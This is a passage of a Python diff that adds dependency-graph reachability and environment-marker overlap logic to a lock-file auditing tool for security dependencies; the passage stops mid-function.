+ else:
+ raise SystemExit("Ambiguous locked security dependency edge extra")
+ return [()] if accepted else []
+
+ result: list[MarkerContext] = []
+ seen: set[MarkerContext] = set()
+ for extra in selected:
+ for context in options(expression, extra):
+ if context in seen:
+ continue
+ seen.add(context)
+ result.append(context)
+ if len(result) > 128:
+ raise SystemExit("Unbounded locked security dependency edge marker")
+ return result
+
+
+def published_reachability(
+ lock: dict[str, Any], contexts: ContextsByName
+) -> dict[str, set[tuple[str, str, MarkerContext]]]:
+ packages: dict[str, list[dict[str, Any]]] = {}
+ for item in lock["package"]:
+ if not isinstance(item, dict):
+ raise SystemExit("Ambiguous locked security dependency identity")
+ package = cast(dict[str, Any], item)
+ if not isinstance(package.get("name"), str):
+ raise SystemExit("Ambiguous locked security dependency identity")
+ packages.setdefault(canonical(package["name"]), []).append(package)
+
+ pending: list[tuple[str, tuple[str, ...], str, str, MarkerContext, str | None]] = [
+ (name, context[2], context[0], context[1], context[3], None)
+ for name, requirements in contexts.items()
+ for context in requirements
+ ]
+ visited: set[tuple[str, tuple[str, ...], str, str, MarkerContext, str | None]] = set()
+ reachable: dict[str, set[tuple[str, str, MarkerContext]]] = {}
+ while pending:
+ if len(pending) > 4096 or len(visited) > 8192:
+ raise SystemExit("Unbounded published security dependency graph")
+ name, extras, scope, group, context, selected_version = pending.pop()
+ state = name, extras, scope, group, context, selected_version
+ if state in visited:
+ continue
+ visited.add(state)
+ candidates = packages.get(name, [])
+ if not candidates:
+ raise SystemExit("Missing locked published security dependency identity for " + name)
+ matched = False
+ for package in candidates:
+ version = package.get("version")
+ if not isinstance(version, str):
+ raise SystemExit("Ambiguous locked published security dependency version")
+ if selected_version is not None and version != selected_version:
+ continue
+ resolutions = package.get("resolution-markers")
+ if resolutions is None:
+ domains: list[MarkerContext] = [()]
+ elif isinstance(resolutions, list) and resolutions:
+ values = cast(list[object], resolutions)
+ if not all(isinstance(value, str) for value in values):
+ raise SystemExit("Ambiguous locked published security dependency resolution")
+ domains = [marker_context(value) for value in cast(list[str], resolutions)]
+ else:
+ raise SystemExit("Ambiguous locked published security dependency resolution")
+ for domain in domains:
+ if not marker_overlap(context, domain):
+ continue
+ matched = True
+ combined = tuple(sorted(set(context + domain)))
+ reachable.setdefault(name, set()).add((scope, group, combined))
+ direct_edges = package.get("dependencies", [])
+ optional_edges = package.get("optional-dependencies", {})
+ if not isinstance(direct_edges, list) or not isinstance(optional_edges, dict):
+ raise SystemExit("Ambiguous locked published security dependency edges")
+ groups: dict[str, object] = {}
+ for optional, edges in cast(dict[object, object], optional_edges).items():
+ if not isinstance(optional, str):
+ raise SystemExit("Ambiguous locked published security dependency extra")
+ key = canonical(optional)
+ if key in groups:
+ raise SystemExit("Ambiguous locked published security dependency extra")
+ groups[key] = edges
+ edges_to_follow: list[object] = list(cast(list[object], direct_edges))
+ for extra in extras:
+ requested = groups.get(extra, [])
+ if not isinstance(requested, list):
+ raise SystemExit("Ambiguous locked published security dependency extra")
+ edges_to_follow.extend(cast(list[object], requested))
+ for item in edges_to_follow:
+ if not isinstance(item, dict):
+ raise SystemExit("Ambiguous locked published security dependency edge")
+ edge = cast(dict[str, Any], item)
+ if not isinstance(edge.get("name"), str):
+ raise SystemExit("Ambiguous locked published security dependency edge")
+ edge_name = canonical(edge["name"])
+ if not re.fullmatch(r"[a-z0-9][a-z0-9-]*", edge_name):
+ raise SystemExit("Ambiguous locked published security dependency edge")
+ requested_extras = edge.get("extra", [])
+ if not isinstance(requested_extras, list) or any(
+ not isinstance(extra, str) for extra in cast(list[object], requested_extras)
+ ):
+ raise SystemExit("Ambiguous locked published security dependency edge extra")
+ normalized_extras = tuple(sorted(canonical(extra) for extra in cast(list[str], requested_extras)))
+ if len(normalized_extras) != len(set(normalized_extras)) or any(
+ not re.fullmatch(r"[a-z0-9][a-z0-9-]*", extra) for extra in normalized_extras
+ ):
+ raise SystemExit("Ambiguous locked published security dependency edge extra")
+ edge_version = edge.get("version")
+ if edge_version is not None and not isinstance(edge_version, str):
+ raise SystemExit("Ambiguous locked published security dependency edge version")
+ for edge_context in dependency_marker_options(edge.get("marker"), extras):
+ next_context = tuple(sorted(set(combined + edge_context)))
+ if not marker_overlap(next_context, ()):
+ continue
+ pending.append((edge_name, normalized_extras, scope, group, next_context, edge_version))
+ if not matched and selected_version is not None:
+ raise SystemExit("Missing selected locked published security dependency version for " + name)
+ return reachable
+
+
+def requested_extra_reachability(
+ lock: dict[str, Any],
+ previous: ContextsByName,
+ current: ContextsByName,
+ requested: list[tuple[str, DependencyContext]],
+) -> dict[str, set[tuple[str, str, MarkerContext]]]:
+ if len(requested) > 64:
+ raise SystemExit("Unbounded newly requested security dependency extras")
+ result: dict[str, set[tuple[str, str, MarkerContext]]] = {}
+ for root, context in requested:
+ selected = published_reachability(lock, {root: {context: current[root][context]}})
+ alternatives: ContextRequirements = {}
+ for original, requirements in previous.get(root, {}).items():
+ if (
+ original[:2] != context[:2]
+ or not set(original[2]).issubset(context[2])
+ or not marker_overlap(original[3], context[3])
+ ):
+ continue
+ shared = tuple(sorted(set(original[3] + context[3])))
+ counterfactual = original[0], original[1], original[2], shared
+ alternatives.setdefault(counterfactual, set()).update(requirements)
+ without = published_reachability(lock, {root: alternatives}) if alternatives else {}
+ for name, audiences in selected.items():
+ for scope, group, marker in audiences:
+ prior = [
+ previous_marker
+ for previous_scope, previous_group, previous_marker in without.get(name, set())
+ if previous_scope == "runtime" or (previous_scope, previous_group) == (scope, group)
+ ]
+ for uncovered in uncovered_marker_fragments(marker, prior):
+ result.setdefault(name, set()).add((scope, group, uncovered))
+ return result
+
+
+def audience_covers(previous: tuple[str, str, MarkerContext], current: tuple[str, str, MarkerContext]) -> bool:
+ if previous[0] != "runtime" and previous[:2] != current[:2]:
+ return False
+ return not uncovered_marker_fragments(current[2], [previous[2]])
+
+
+def stable_version(value: str) -> StableRelease:
+ match = re.fullmatch(r"(?:(\d+)!)?(\d+(?:\.\d+)*)(?:\.post(\d+))?", value)
+ if match is None:
+ raise SystemExit("Unsupported direct security dependency minimum")
+ release = tuple(int(part) for part in match.group(2).split("."))
+ while release and release[-1] == 0:
+ release = release[:-1]
+ post = -1 if match.group(3) is None else int(match.group(3))
+ return int(match.group(1) or 0), release, post
+
+
+def is_numeric_platform_release(value: str) -> bool:
+ if len(value) > 256:
+ raise SystemExit("Unbounded platform security dependency marker")
+ return (
+ re.fullmatch(
+ r"v?(?:[0-9]+!)?[0-9]+(?:\.[0-9]+)*"
+ r"(?:[._-]?(?:alpha|a|beta|b|preview|pre|c|rc)[._-]?[0-9]*)?"
+ r"(?:(?:-[0-9]+)|(?:[._-]?(?:post|rev|r)[._-]?[0-9]*))?"
+ r"(?:[._-]?dev[._-]?[0-9]*)?"
+ r"(?:\+[a-z0-9]+(?:[._-][a-z0-9]+)*)?"
+ r"(?:\.\*)?",
+ value.strip(),
+ re.IGNORECASE,
+ )
+ is not None
+ )
+
+
+def numeric_platform_release_candidate(value: str) -> str | None:
+ match = re.fullmatch(
+ r"v?(?P[0-9]+(?:\.[0-9]+)*)"
+ r"(?:[._-]?(?Palpha|a|beta|b|preview|pre|c|rc)[._-]?(?P[0-9]*))?"
+ r"(?:(?:-(?P[0-9]+))|"
+ r"(?:[._-]?(?Ppost|rev|r)[._-]?(?P[0-9]*)))?"
+ r"(?:[._-]?dev[._-]?(?P[0-9]*))?",
+ value.strip(),
+ re.IGNORECASE,
+ )
+ if match is None:
+ return None
+ result = match.group("release")
+ stage = match.group("stage")
+ if stage is not None:
+ result += {"alpha": "a", "a": "a", "beta": "b", "b": "b"}.get(stage.lower(), "rc")
+ result += match.group("serial") or "0"
+ if match.group("implicit_post") is not None:
+ result += ".post" + match.group("implicit_post")
+ elif match.group("post") is not None:
+ result += ".post" + (match.group("post_serial") or "0")
+ if match.group("development") is not None:
+ result += ".dev" + (match.group("development") or "0")
+ return result
+
+
+def marker_version_bounds(
+ variable: str, value: str, *, release_width: int = 3
+) -> tuple[tuple[int, ...], tuple[int, ...], bool, bool]:
+ match = re.fullmatch(
+ r"(\d+(?:\.\d+)*)(?:(a|b|rc)(\d+))?(?:\.post(\d+))?(?:\.dev(\d+))?(\.\*)?",
+ value.strip() if variable == "platform_release" else value,
+ )
+ if match is None:
+ raise SystemExit("Ambiguous Python security dependency marker")
+ components = match.group(1).split(".")
+ if len(components) > 32:
+ if variable == "platform_release":
+ raise SystemExit("Unbounded platform security dependency marker")
+ raise SystemExit("Unbounded Python security dependency marker")
+ if variable != "platform_release" and len(components) < 2:
+ raise SystemExit("Ambiguous Python security dependency marker")
+ if any(len(component) > 9 for component in components) or any(
+ len(match.group(index)) > 9 for index in (3, 4, 5) if match.group(index) is not None
+ ):
+ raise SystemExit("Unbounded Python security dependency marker")
+
+ release = tuple(int(component) for component in components)
+ release += (0,) * max(0, release_width - len(release))
+ prerelease = match.group(2) is not None or match.group(5) is not None
+ wildcard = match.group(6) is not None
+ if wildcard and (prerelease or match.group(4) is not None):
+ raise SystemExit("Ambiguous wildcard security dependency marker")
+ if variable == "python_version" and (
+ any(component != 0 for component in release[2:]) or prerelease or match.group(4) is not None
+ ):
+ raise SystemExit("Ambiguous Python security dependency marker")
+
+ phase = (
+ -4
+ if match.group(5) is not None and match.group(2) is None and match.group(4) is None
+ else {"a": -3, "b": -2, "rc": -1}.get(match.group(2) or "", 0)
+ )
+ serial = int(match.group(3) or 0)
+ post = -1 if match.group(4) is None else int(match.group(4))
+ development = -1 if match.group(5) is not None else 0
+ development_serial = int(match.group(5) or 0)
+ if variable == "python_version" or wildcard:
+ start = release + (-5, 0, -1, -1, 0)
+ prefix = 2 if variable == "python_version" else len(components)
+ stop = release[: prefix - 1] + (release[prefix - 1] + 1,) + (0,) * (len(release) - prefix)
+ stop += -5, 0, -1, -1, 0
+ else:
+ start = release + (phase, serial, post, development, development_serial)
+ stop = start[:-1] + (development_serial + 1,)
+ return start, stop, wildcard, prerelease
+
+
+def simple_marker_overlap(requirement: MarkerContext, resolution: MarkerContext) -> bool:
+ clauses: dict[str, list[MarkerClause]] = {}
+ for variable, operator, value in requirement + resolution:
+ family = "python" if variable in {"python_version", "python_full_version"} else variable
+ clauses.setdefault(family, []).append((variable, operator, value))
+ for family, constraints in clauses.items():
+ platform_memberships = [
+ clause for clause in constraints if family == "platform_release" and clause[1] in {"In", "NotIn"}
+ ]
+ platform_raw_equalities = [
+ clause for clause in constraints if family == "platform_release" and clause[1] == "ArbitraryEq"
+ ]
+ platform_raw_exclusions = [
+ clause for clause in constraints if family == "platform_release" and clause[1] == "ArbitraryNotEq"
+ ]
+ comparisons = [
+ clause
+ for clause in constraints
+ if family != "platform_release" or clause[1] not in {"In", "NotIn", "ArbitraryEq", "ArbitraryNotEq"}
+ ]
+ numeric_platform_values = [
+ family == "platform_release" and is_numeric_platform_release(value) for _, _, value in comparisons
+ ]
+ if family == "platform_release" and any(numeric_platform_values) and not all(numeric_platform_values):
+ if any(
+ not numeric and operator != "NotEq"
+ for numeric, (_, operator, _) in zip(numeric_platform_values, comparisons, strict=True)
+ ):
+ return False
+ comparisons = [
+ clause for numeric, clause in zip(numeric_platform_values, comparisons, strict=True) if numeric
+ ]
+ numeric_platform_values = [True] * len(comparisons)
+ numeric_platform_release = family == "platform_release" and bool(comparisons) and all(numeric_platform_values)
+
+ def platform_witness_matches(
+ candidate: str,
+ memberships: list[MarkerClause] = platform_memberships,
+ exclusions: list[MarkerClause] = platform_raw_exclusions,
+ ) -> bool:
+ return all((candidate in value) == (operator == "In") for _, operator, value in memberships) and all(
+ candidate.lower() != value.lower() for _, _, value in exclusions
+ )
+
+ def anchored_platform_witness() -> str | None:
+ for context in (resolution, requirement):
+ equalities = [
+ value.strip()
+ for variable, operator, value in context
+ if variable == "platform_release" and operator == "Eq" and not value.rstrip().endswith(".*")
+ ]
+ if not equalities:
+ continue
+ local = [
+ clause
+ for clause in context
+ if clause[0] == "platform_release" and clause[1] in {"In", "NotIn", "ArbitraryNotEq"}
+ ]
+ for candidate in equalities:
+ if all(
+ (candidate in value) == (operator == "In")
+ if operator in {"In", "NotIn"}
+ else candidate.lower() != value.lower()
+ for _, operator, value in local
+ ):
+ return candidate
+ return None
+ return None
+
+ if family == "platform_release" and (platform_raw_equalities or platform_raw_exclusions):
+ if any(len(value) > 256 for _, _, value in platform_raw_equalities + platform_raw_exclusions):
+ raise SystemExit("Unbounded platform security dependency marker")
+ if platform_raw_equalities:
+ raw_values = {value.lower() for _, _, value in platform_raw_equalities}
+ if len(raw_values) != 1:
+ return False
+ anchor = (
+ anchored_platform_witness()
+ if any(variable == "platform_release" and operator == "Eq" for variable, operator, _ in resolution)
+ and not any(
+ variable == "platform_release" and operator == "ArbitraryEq"
+ for variable, operator, _ in resolution
+ )
+ else None
+ )
+ selected = next(
+ (
+ value
+ for variable, operator, value in resolution
+ if variable == "platform_release" and operator == "ArbitraryEq"
+ ),
+ platform_raw_equalities[0][2],
+ )
+ if anchor is not None:
+ if anchor.lower() not in raw_values:
+ return False
+ selected = anchor
+ if not platform_witness_matches(selected):
+ return False
+ if not comparisons:
+ continue
+ if numeric_platform_release:
+ normalized = numeric_platform_release_candidate(selected)
+ if normalized is None:
+ raise SystemExit("Ambiguous platform security dependency raw equality")
+ selected = normalized
+ if not simple_marker_overlap(tuple(comparisons), (("platform_release", "Eq", selected),)):
+ return False
+ continue
+
+ if numeric_platform_release and platform_memberships:
+ if any(len(value) > 256 for _, _, value in platform_memberships):
+ raise SystemExit("Unbounded platform security dependency marker")
+ anchor = anchored_platform_witness()
+ included = [value for _, operator, value in platform_memberships if operator == "In"]
+ if included:
+ shortest = min(included, key=len)
+ if len(shortest) > 128:
+ raise SystemExit("Unbounded platform security dependency membership")
+ candidates = {
+ shortest[start:stop]
+ for start in range(len(shortest) + 1)
+ for stop in range(start, len(shortest) + 1)
+ }
+ if len(candidates) > 4096:
+ raise SystemExit("Unbounded platform security dependency membership")
+ unsupported = False
+ matched = False
+ for membership_candidate in sorted(candidates):
+ if (
+ anchor is not None
+ and membership_candidate != anchor
+ or not platform_witness_matches(membership_candidate)
+ or not is_numeric_platform_release(membership_candidate)
+ ):
+ continue
+ normalized = numeric_platform_release_candidate(membership_candidate)
+ if normalized is None:
+ unsupported = True
+ continue
+ try:
+ _, _, wildcard, _ = marker_version_bounds("platform_release", normalized)
+ except SystemExit:
+ unsupported = True
+ continue
+ if wildcard:
+ unsupported = True
+ continue
+ if simple_marker_overlap(tuple(comparisons), (("platform_release", "Eq", normalized),)):
+ matched = True
+ break
+ if not matched:
+ if unsupported:
+ raise SystemExit("Ambiguous platform security dependency membership")
+ return False
+ continue
+ if anchor is not None:
+ if not platform_witness_matches(anchor):
+ return False
+ normalized = numeric_platform_release_candidate(anchor)
+ if normalized is None:
+ raise SystemExit("Ambiguous platform security dependency membership")
+ if not simple_marker_overlap(tuple(comparisons), (("platform_release", "Eq", normalized),)):
+ return False
+ continue
+ equalities = [value for _, operator, value in comparisons if operator == "Eq" and not value.endswith(".*")]
+ if equalities:
+ if not simple_marker_overlap(tuple(comparisons), ()):
+ return False
+ matched = False
+ for numeric_equality in equalities:
+ normalized = numeric_platform_release_candidate(numeric_equality)
+ if normalized is None:
+ raise SystemExit("Ambiguous platform security dependency membership")
+ match = re.fullmatch(r"(\d+(?:\.\d+)*)(.*)", normalized)
+ if match is None:
+ raise SystemExit("Ambiguous platform security dependency membership")
+ release, suffix = match.groups()
+ components = release.split(".")
+ if len(components) > 32:
+ raise SystemExit("Unbounded platform security dependency membership")
+ for trailing in range(33 - len(components)):
+ for leading in range(10 - len(components[0])):
+ raw_candidate = "0" * leading + release + ".0" * trailing + suffix
+ if len(raw_candidate) > 256 or not platform_witness_matches(raw_candidate):
+ continue
+ if simple_marker_overlap(tuple(comparisons), (("platform_release", "Eq", normalized),)):
+ matched = True
+ break
+ if matched:
+ break
+ if matched:
+ break
+ if not matched:
+ raise SystemExit("Ambiguous platform security dependency membership")
+ continue
+ elif numeric_platform_release and platform_raw_exclusions:
+ anchor = anchored_platform_witness()
+ if anchor is not None and not platform_witness_matches(anchor):
+ return False
+ if family in {"python", "implementation_version"} or numeric_platform_release:
+ if numeric_platform_release:
+ constraints = comparisons
+ release_width = max(
+ 3,
+ max(
+ (
+ len(match.group().split("."))
+ for _, _, value in constraints
+ if (match := re.match(r"\d+(?:\.\d+)*", value.strip() if numeric_platform_release else value))
+ ),
+ default=3,
+ ),
+ )
+ lower: tuple[int, ...] = (0,) * release_width + (-5, 0, -1, -1, 0)
+ upper: tuple[int, ...] | None = None
+ excluded: list[tuple[tuple[int, ...], tuple[int, ...]]] = []
+ for variable, operator, value in constraints:
+ start, stop, wildcard, prerelease = marker_version_bounds(variable, value, release_width=release_width)
+ if wildcard and operator not in {"Eq", "NotEq"}:
+ raise SystemExit("Ambiguous wildcard security dependency marker")
+ if operator == "Eq":
+ lower = max(lower, start)
+ upper = stop if upper is None else min(upper, stop)
+ elif operator == "NotEq":
+ excluded.append((start, stop))
+ elif operator in {"Lt", "RawLt"}:
+ ceiling = start
+ if operator == "Lt" and variable != "python_version" and not prerelease:
+ if start[-3] == -1:
+ ceiling = start[:-5] + (-5, 0, -1, -1, 0)
+ else:
+ ceiling = start[:-2] + (-1, 0)
+ upper = ceiling if upper is None else min(upper, ceiling)
+ elif operator in {"LtE", "RawLtE"}:
+ ceiling = stop
+ if operator == "RawLtE" and variable != "python_version" and start[-3] == -1 and start[-2] == 0:
+ if prerelease:
+ ceiling = start[:-4] + (start[-4] + 1, -1, -1, 0)
+ else:
+ ceiling = start[:-6] + (start[-6] + 1, -5, 0, -1, -1, 0)
+ upper = ceiling if upper is None else min(upper, ceiling)
+ elif operator in {"Gt", "RawGt"}:
+ floor = stop
+ if operator == "Gt" and variable != "python_version" and start[-3] == -1 and start[-2] == 0:
+ if prerelease:
+ floor = start[:-4] + (start[-4] + 1, -1, -1, 0)
+ else:
+ floor = start[:-6] + (start[-6] + 1, -5, 0, -1, -1, 0)
+ lower = max(lower, floor)
+ elif operator in {"GtE", "RawGtE"}:
+ floor = start
+ if operator == "RawGtE" and variable != "python_version" and not prerelease:
+ if start[-3] == -1:
+ floor = start[:-5] + (-5, 0, -1, -1, 0)
+ else:
+ floor = start[:-2] + (-1, 0)
+ lower = max(lower, floor)
+ else:
+ raise SystemExit("Ambiguous Python security dependency marker")
+ if upper is not None and lower >= upper:
+ return False
+ candidate = lower
+ for start, stop in sorted(excluded):
+ if start <= candidate < stop:
+ candidate = stop
+ if upper is not None and candidate >= upper:
+ return False
+ else:
+ if family not in {
+ "sys_platform",
+ "os_name",
+ "platform_system",
+ "platform_machine",
+ "platform_release",
+ "platform_version",
+ "platform_python_implementation",
+ "implementation_name",
+ "extra",
+ }:
+ raise SystemExit("Unsupported security dependency marker variable")
+ equality: str | None = None
+ memberships: list[str] = []
+ required_substrings: list[str] = []
+ for _, operator, value in constraints:
+ if len(value) > 256:
+ raise SystemExit("Unbounded platform security dependency marker")
+ if operator in {"Eq", "GtE", "LtE"}:
+ if equality is not None and equality != value:
+ return False
+ equality = value
+ elif operator in {"Gt", "Lt"}:
+ return False
+ elif operator == "In":
+ memberships.append(value)
+ elif operator == "ReverseIn":
+ required_substrings.append(value)
+ elif operator not in {"NotEq", "NotIn", "ReverseNotIn", "ArbitraryNotEq"}:
+ raise SystemExit("Ambiguous platform security dependency marker")
+
+ def matches(platform_candidate: str, terms: list[MarkerClause] = constraints) -> bool:
+ for _, operator, value in terms:
+ if (
+ operator in {"Eq", "GtE", "LtE"}
+ and platform_candidate != value
+ or operator == "NotEq"
+ and platform_candidate == value
+ or operator == "ArbitraryNotEq"
+ and platform_candidate.lower() == value.lower()
+ or operator in {"Lt", "Gt"}
+ or operator == "In"
+ and platform_candidate not in value
+ or operator == "NotIn"
+ and platform_candidate in value
+ or operator == "ReverseIn"
+ and value not in platform_candidate
+ or operator == "ReverseNotIn"
+ and value in platform_candidate
+ ):
+ return False
+ return True
+
+ if equality is not None:
+ if not matches(equality):
+ return False
+ elif memberships:
+ shortest = min(memberships, key=len)
+ if len(shortest) > 128:
+ raise SystemExit("Unbounded platform security dependency membership")
+ candidates = {
+ shortest[start:stop]
+ for start in range(len(shortest) + 1)
+ for stop in range(start, len(shortest) + 1)
+ }
+ if len(candidates) > 4096:
+ raise SystemExit("Unbounded platform security dependency membership")
+ if not any(matches(platform_candidate) for platform_candidate in candidates):
+ return False
+ else:
+ if sum(map(len, required_substrings)) > 4096:
+ raise SystemExit("Unbounded platform security dependency substring")
+ if any(
+ forbidden in required
+ for _, operator, forbidden in constraints
+ if operator == "ReverseNotIn"
+ for required in required_substrings
+ ) or any(operator == "ReverseNotIn" and not value for _, operator, value in constraints):
+ return False
+ platform_candidate = "\x00".join(required_substrings)
+ for _ in range(258):
+ if matches(platform_candidate):
+ break
+ platform_candidate += "\x00"
+ else:
+ raise SystemExit("Ambiguous platform security dependency marker")
+ return True
+
+
+def marker_options(context: MarkerContext) -> list[MarkerContext]:
+ options: list[MarkerContext] = [()]
+ allowed_platforms = {
+ "sys_platform",
+ "os_name",
+ "platform_system",
+ "platform_machine",
+ "platform_release",
+ "platform_version",
+ "platform_python_implementation",
+ "implementation_name",
+ "extra",
+ }
+ for variable, operator, value in context:
+ if operator in {"ReverseIn", "ReverseNotIn"}:
+ if variable not in allowed_platforms or variable == "platform_release":
+ raise SystemExit("Unsupported reversed security dependency membership marker")
+ if len(value) > 256 or value and re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9_.-]*", value) is None:
+ raise SystemExit("Ambiguous reversed security dependency membership marker")
+ options = [option + ((variable, operator, value),) for option in options]
+ continue
+ if operator == "Compatible":
+ if variable not in {"python_version", "python_full_version", "implementation_version", "platform_release"}:
+ raise SystemExit("Unsupported compatible security dependency marker")
+ compatible = re.fullmatch(
+ r"(\d+(?:\.\d+)+)"
+ r"((?:(?:a|b|rc)\d+)?(?:\.post\d+)?(?:\.dev\d+)?)",
+ value,
+ )
+ if compatible is None:
+ raise SystemExit("Ambiguous compatible security dependency marker")
+ components = compatible.group(1).split(".")
+ if len(components) > 32 or any(len(component) > 9 for component in components):
+ raise SystemExit("Ambiguous compatible security dependency marker")
+ ceiling = [int(component) for component in components[:-1]]
+ ceiling[-1] += 1
+ if len(ceiling) == 1:
+ ceiling.append(0)
+ upper = ".".join(str(component) for component in ceiling)
+ if variable == "python_version":
+ minor = int(components[1])
+ lower = f"{int(components[0])}.{minor}"
+ width = max(3, len(components))
+ projected = marker_version_bounds("platform_release", lower, release_width=width)[0]
+ actual = marker_version_bounds("platform_release", value, release_width=width)[0]
+ if projected < actual:
+ lower = f"{int(components[0])}.{minor + 1}"
+ if len(ceiling) > 2 and any(component != 0 for component in ceiling[2:]):
+ upper = f"{ceiling[0]}.{ceiling[1] + 1}"
+ else:
+ upper = f"{ceiling[0]}.{ceiling[1]}"
+ value = lower
+ options = [option + ((variable, "GtE", value), (variable, "Lt", upper)) for option in options]
+ continue
+ if operator == "ArbitraryEq":
+ if variable == "python_version":
+ pattern = r"(?:0|[1-9]\d*)\.(?:0|[1-9]\d*)"
+ elif variable in {"python_full_version", "implementation_version"}:
+ pattern = (
+ r"(?:0|[1-9]\d*)\.(?:0|[1-9]\d*)\.(?:0|[1-9]\d*)"
+ r"(?:(?:a|b|rc)(?:0|[1-9]\d*))?(?:\.post(?:0|[1-9]\d*))?(?:\.dev(?:0|[1-9]\d*))?"
+ )
+ elif variable == "platform_release":
+ if len(value) > 256 or re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9_.!+-]*", value.strip()) is None:
+ raise SystemExit("Ambiguous platform security dependency raw equality")
+ options = [option + ((variable, operator, value.strip()),) for option in options]
+ continue
+ else:
+ raise SystemExit("Unsupported arbitrary security dependency marker variable")
+ if re.fullmatch(pattern, value) is None:
+ return []
+ operator = "Eq"
+ if operator not in {"In", "NotIn"}:
+ options = [option + ((variable, operator, value),) for option in options]
+ continue
+ if variable == "python_version":
+ pattern = r"(?:0|[1-9]\d*)\.(?:0|[1-9]\d*)(?:\.0)?"
+ elif variable in {"python_full_version", "implementation_version"}:
+ pattern = (
+ r"(?:0|[1-9]\d*)\.(?:0|[1-9]\d*)\.(?:0|[1-9]\d*)"
+ r"(?:(?:a|b|rc)(?:0|[1-9]\d*))?(?:\.post(?:0|[1-9]\d*))?(?:\.dev(?:0|[1-9]\d*))?"
+ )
+ elif variable in allowed_platforms:
+ pattern = r"[A-Za-z0-9][A-Za-z0-9_.-]*"
+ else:
+ raise SystemExit("Unsupported security dependency membership marker variable")
+ if variable not in allowed_platforms and len(value) > 128:
+ raise SystemExit("Unbounded Python security dependency membership marker")
+ values = tuple(item.strip() for item in value.split(","))
+ if (
+ not values
+ or len(values) > 16
+ or len(set(values)) != len(values)
+ or any(
+ not re.fullmatch(pattern, item)
+ if variable in allowed_platforms
+ else not any(
+ re.fullmatch(pattern, item[start:stop])
+ for start in range(len(item))
+ for stop in range(start + 1, len(item) + 1)
+ )
+ for item in values
+ )
+ ):
+ raise SystemExit("Ambiguous security dependency membership marker")
+ if variable in allowed_platforms:
+ options = [option + ((variable, operator, value),) for option in options]
+ else:
+ members = tuple(
+ sorted(
+ {
+ value[start:stop]
+ for start in range(len(value))
+ for stop in range(start + 1, len(value) + 1)
+ if re.fullmatch(pattern, value[start:stop])
+ }
+ )
+ )
+ if len(members) > 64:
+ raise SystemExit("Unbounded Python security dependency membership marker")
+ if operator == "In":
+ options = [option + ((variable, "Eq", member),) for option in options for member in members]
+ else:
+ exclusions = tuple((variable, "NotEq", member) for member in members)
+ options = [option + exclusions for option in options]
+ if len(options) > 64:
+ raise SystemExit("Ambiguous security dependency membership marker")
+ return options
+
+
+def marker_overlap(requirement: MarkerContext, resolution: MarkerContext) -> bool:
+ requirements, resolutions = marker_options(requirement), marker_options(resolution)
+ if len(requirements) * len(resolutions) > 128:
+ raise SystemExit("Ambiguous security dependency membership marker")
+ return any(simple_marker_overlap(left, right) for left in requirements for right in resolutions)
+
+
+def uncovered_marker_fragments(
+ domain: MarkerContext, coverings: list[MarkerContext], *, anchor_platform_release: bool = False
+) -> tuple[MarkerContext, ...]:
+ platform_equalities = [
+ value.strip()
+ for variable, operator, value in domain
+ if variable == "platform_release" and operator == "Eq" and not value.rstrip().endswith(".*")
+ ]
+ raw_coverings = [
+ covering
+ for covering in coverings
+ if any(
+ variable == "platform_release" and operator in {"In", "NotIn", "ArbitraryEq"}
+ for variable, operator, _ in covering
+ )
+ ]
+ if (
+ anchor_platform_release
+ and len(platform_equalities) == 1
+ and raw_coverings
+ and not any(
+ variable == "platform_release" and operator in {"In", "NotIn", "ArbitraryEq", "ArbitraryNotEq"}
+ for variable, operator, _ in domain
+ )
+ ):
+ domain = tuple(sorted(domain + (("platform_release", "ArbitraryEq", platform_equalities[0]),)))
+ opposite = {
+ "Eq": "NotEq",
+ "NotEq": "Eq",
+ "Lt": "GtE",
+ "LtE": "Gt",
+ "Gt": "LtE",
+ "GtE": "Lt",
+ "RawLt": "GtE",
+ "RawLtE": "Gt",
+ "RawGt": "LtE",
+ "RawGtE": "Lt",
+ "In": "NotIn",
+ "NotIn": "In",
+ "ReverseIn": "ReverseNotIn",
+ "ReverseNotIn": "ReverseIn",
+ "ArbitraryEq": "ArbitraryNotEq",
+ "ArbitraryNotEq": "ArbitraryEq",
+ }
+ fragments = {tuple(sorted(set(option))) for option in marker_options(domain) if simple_marker_overlap(option, ())}
+ work = 0
+ for covering in coverings:
+ options = marker_options(covering)
+ if len(fragments) * len(options) > 128:
+ raise SystemExit("Ambiguous security dependency marker partition")
+ for option in options:
+ remaining: set[MarkerContext] = set()
+ for fragment in fragments:
+ work += 1
+ if work > 2048:
+ raise SystemExit("Ambiguous security dependency marker partition")
+ if not simple_marker_overlap(option, fragment):
+ remaining.add(fragment)
+ continue
+ prefix = fragment
+ for variable, operator, value in option:
+ if operator not in opposite:
+ raise SystemExit("Ambiguous security dependency marker partition")
+ inverse = opposite[operator]
+ if variable in {"python_full_version", "implementation_version"} or (
+ variable == "platform_release" and is_numeric_platform_release(value)
+ ):
+ if operator == "GtE":
+ inverse = "RawLt"
+ elif operator == "Gt":
+ inverse = "RawLtE"
+ elif operator == "Lt":
+ inverse = "RawGtE"
+ elif operator == "LtE":
+ inverse = "RawGt"
+ elif variable != "python_version" and operator in {"GtE", "LtE"}:
+ inverse = "NotEq"
+ excluded = tuple(sorted(set(prefix + ((variable, inverse, value),))))
+ if simple_marker_overlap(excluded, ()):
+ remaining.add(excluded)
+ prefix = tuple(sorted(set(prefix + ((variable, operator, value),))))
+ if len(remaining) > 128 or len(prefix) > 128:
+ raise SystemExit("Ambiguous security dependency marker partition")
+ fragments = remaining
+ if not fragments:
+ break
+ return tuple(sorted(fragments))
+
+
+def reconcile_resolution_domains(
+ previous: ResolutionDomains, current: ResolutionDomains
+) -> tuple[ResolutionDomains, ResolutionDomains]:
+ if previous == current:
+ return previous, current
+ domains = sorted(previous.keys() | current.keys())
+ if len(domains) > 128:
+ raise SystemExit("Unbounded security dependency resolution-domain refinement")
+ explicit_prerelease = any(
+ variable in {"python_full_version", "implementation_version", "platform_release"}
+ and re.search(r"\d+\.\d+(?:\.\d+)?(?:a|b|rc)\d+", value) is not None
+ for domain in domains
+ for variable, _, value in domain
+ )
+ fragments: set[MarkerContext] = set()
+ work = 0
+ for domain in domains:
+ for option in marker_options(domain):
+ candidate = tuple(sorted(set(option)))
+ if not simple_marker_overlap(candidate, ()):
+ raise SystemExit("Ambiguous security dependency resolution-domain refinement")
+ remaining: set[MarkerContext] = {candidate}
+ refined: set[MarkerContext] = set()
+ for fragment in fragments:
+ work += 1
+ if work > 4096:
